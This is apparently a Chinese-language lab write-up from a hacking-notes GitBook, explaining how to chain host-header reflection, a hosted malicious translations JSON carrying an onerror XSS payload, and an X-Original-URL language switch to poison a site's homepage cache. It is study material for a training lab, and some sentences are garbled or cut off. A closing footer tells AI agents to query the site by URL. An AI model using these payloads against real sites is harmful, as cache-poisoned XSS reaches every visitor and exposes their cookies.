> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/combination-of-web-vulnerabilities-cache-poisoning.md).

# Web 漏洞组合缓存投毒

### 结合 Web 缓存投毒漏洞

我们必须 **污染首页缓存** 使其替换为一个可在 **`alert(document.cookie)`** 访客浏览器中运行的版本。受害者会传递 `/` about **每分钟** 和 **受害者的语言是英语（`lang=en` cookie）**.

<figure><img src="/files/79850ba2cdecb4d6ad552359b06a97421b7269fe" alt=""><figcaption></figcaption></figure>

### （1）入口点：客户端翻译功能

在主页上，我们观察到：

* 一个 `lang` cookie（例如， `lang=es`) + `session=...`
* 一个翻译脚本： **`/resources/js/translations.js`**

{% code overflow="wrap" %}

```http
Cookie: lang=es; session=3AJsSQlcvMWoyYAD7DAbxUISdsu1rIFg
```

{% endcode %}

```javascript
function initTranslations(jsonUrl)
{
    const lang = document.cookie.split(';')
        .map(c => c.trim().split('='))
        .filter(p => p[0] === 'lang')
        .map(p => p[1])
        .find(() => true);

    const translate = (dict, el) => {
        for (const k in dict) {
            if (el.innerHTML === k) {
                el.innerHTML = dict[k];
            } else {
                el.childNodes.forEach(el_ => translate(dict, el_));
            }
        }
    }

    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            const select = document.getElementById('lang-select');
            if (select) {
                for (const code in j) {
                    const name = j[code].name;
                    const el = document.createElement("option");
                    el.setAttribute("value", code);
                    el.innerText = name;
                    select.appendChild(el);
                    if (code === lang) {
                        select.selectedIndex = select.childElementCount - 1;
                    }
                }
            }

            lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
        });
}
```

该脚本读取 `lang` 来自 cookie，然后发起一个 `fetch()` 请求到一个 JSON：

```json
{
    "en": {
        "name": "英语"
    },
    "es": {
        "name": "西班牙语",
        "translations": {
            "Return to list": "返回列表",
            "View details": "查看详情",
            "Description:": "描述："
        }
    },
    "cn": {
        "name": "中文",
        "translations": {
            "Return to list": "返回列表",
            "View details": "查看详情",
            "Description:": "描述："
        }
    },
    "ar": {
        "name": "阿拉伯语",
        "translations": {
            "Return to list": "返回列表",
            "View details": "查看详情",
            "Description:": "描述："
        }
    },
    "en-gb": {
        "name": "标准英语",
        "translations": {
            "Return to list": "返回你来自的地方",
            "View details": "请赐教并展开说明",
            "Description:": "关于该主题的高论："
        }
    },
    "ml": {
        "name": "马拉雅拉姆语",
        "translations": {
            "Return to list": "返回列表",
            "View details": "查看详情",
            "Description:": "描述："
        }
    },
    "hb": {
        "name": "希伯来语",
        "translations": {
            "Return to list": "返回列表",
            "View details": "查看详情",
            "Description:": "描述："
        }
    },
    "zl": {
        "name": "Ẕ̻͕̿̊ͤ̍ͅa͙l̗ͧg̮̤̰̘͇ȍ͇͕̳̙͙͉́̅̋̌̅",
        "translations": {
            "Return to list": "Re̹̰̘͉̹̪ͅt̬̫̜ȕͩ͒ͥͥr̃̉͒n ̎͂t͎͖̽͋o͖̟͚͙̲͐ͤͫ̎̓ ̼̟͈̭͉͎̂ͯ̔ͤͤ̏͐ͅliͤ͑ͧ̆̐̈̀sṭ̠̮̰͍̙͒̔͆̈ͤ̅",
            "View details": "V̖̮͙ͅi͇e͙̦w̭̣̫͇̦̬̰ ̓͑̓ͯ̔d͍͂e͚̮͖͍͖̠͙ͮͭ̉ͦ̏͌̆t̙͎̺͉a̳̖͔̱͉̱͑̆̌̃͊ͬi̯͚͙̼̹̮l̖͎͛̈́͒ͅs̒̒ͤ̽̒̀",
            "Description:": "D̳͔e̝ͩ̐ͅsc̗̱̼̤̬̎̓ͪͣͭ̐ͅr̪̝͖̙̱̄̓͌̓̚ip̭̦̭̰̻ͣ̓̽ͨ̚ț̤̝̻i̹̱̟̞͕̓̓ͬ̓ͬ̆ͅon̠͚͕̈́̋̓:"
        }
    },
    "fn": {
        "name": "芬兰语",
        "translations": {
            "Return to list": "返回列表",
            "View details": "查看详情",
            "Description:": "描述："
        }
    },
    "hw": {
        "name": "夏威夷语",
        "translations": {
            "Return to list": "返回列表",
            "View details": "查看详情",
            "Description:": "其含义："
        }
    },
    "mm": {
        "name": "缅甸语",
        "translations": {
            "Return to list": "返回列表",
            "View details": "查看详情",
            "Description:": "描述："
        }
    }
}
```

并且 `data.host` 来自主页上的一个内联块：

```http
<script>
     data = {"host":"0acc008b046bd245809803b8002b0061.web-security-academy.net","path":"/"}
</script>
```

然后脚本通过替换文本来应用翻译，使用 `innerHTML`，这很重要，因为如果你控制了 JSON，它会将翻译变成 \*\*HTML 注入\*\*。

### 漏洞 #1：通过主机操纵 `X-Forwarded-Host`

添加以下 HTTP 头

```http
X-Forwarded-Host: test.com
```

我们发现该值被反射到 `data.host`.

<figure><img src="/files/e81b43e348da0fb00a1ad241566eac7ea5e7f54e" alt=""><figcaption></figcaption></figure>

```javascript
<script>
    initTranslations('//' + data.host + '/resources/json/translations.json');
</script>
```

<figure><img src="/files/aec9bd0bc6d46228d8963a6aaf126dc597ad559f" alt=""><figcaption></figcaption></figure>

因此我们可以强制浏览器加载该文件：

```bash
/resources/json/translations.json
```

### 3. 漏洞 #2：通过 JSON 翻译文件实现 XSS

我们在利用服务器上托管一个伪造的 `translations.json` 其中包含一个翻译字段中的 XSS 注入，例如：

```json
{
    "en": {
        "name": "英语"
    },
    "es": {
        "name": "西班牙语",
        "translations": {
            "Return to list": "你好",
            "View details": "></a><img src=0 onerror=alert(document.cookie)>",
            "Description:": "描述："
        }
    }
}
```

<figure><img src="/files/b615029c0bd8d491da64b9543cca5196325b7abb" alt=""><figcaption></figcaption></figure>

然后我们使用：

```http
X-Forwarded-Host: exploit-0a19004104f2d29e80b40256011c00b0.exploit-server.net/
```

从缓存提供的主页现在会指向我们的恶意 JSON 文件。

因此，翻译内容会被解释为 HTML，从而允许执行注入的 JavaScript。

<figure><img src="/files/59e6adf18a46706741bd8581106ada72591e41f5" alt=""><figcaption></figcaption></figure>

### 4. 限制：受害者使用英语

翻译脚本仅在以下情况下执行：

* `lang !== 'en'`

受害者最初 `lang=en`. / 即使我们控制了 JSON 文件，\*\*l

因此我们必须 **把这段内容改成西班牙语**.

### 5. 漏洞 #3：通过……强制更改语言 `X-Original-URL`

<figure><img src="/files/963759a9e3a6510bfb2f1f2c7a8fe8bb09db052f" alt=""><figcaption></figcaption></figure>

使用 Param Miner，我们识别出存在漏洞的头部：

```http
X-Original-Url: /test
```

我们再发送一个请求到 `/` 使用：

* `X-Original-URL: /test` → `404 未找到`

<figure><img src="/files/cbb5ae24c0c5c92a2b812f3fe04dea6d93db2815" alt=""><figcaption></figcaption></figure>

缓存返回了一个定义 `lang=es` 供访客使用。

```http
X-Original-Url: /setlang/es
```

`X-Original-URL: /setlang/es` → `302 Found`

这条路径：

* 将其设置为 `lang=es` cookie
* 然后返回主页

<figure><img src="/files/9604630fefe0b7b513e7e6a4872cc050b19efad9" alt=""><figcaption></figcaption></figure>

#### 受害者端载荷的执行

1. 受害者访问 `/`
2. `lang` cookie 发送到 `es`
3. 页面重新加载 `translations.json` 来自我们的利用服务器的文件
4. 恶意翻译被注入到 DOM 中
5. 浏览器执行：

<figure><img src="/files/6ef8d6fa1f1d064c12a1aae7484ee65cf0225c03" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/combination-of-web-vulnerabilities-cache-poisoning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
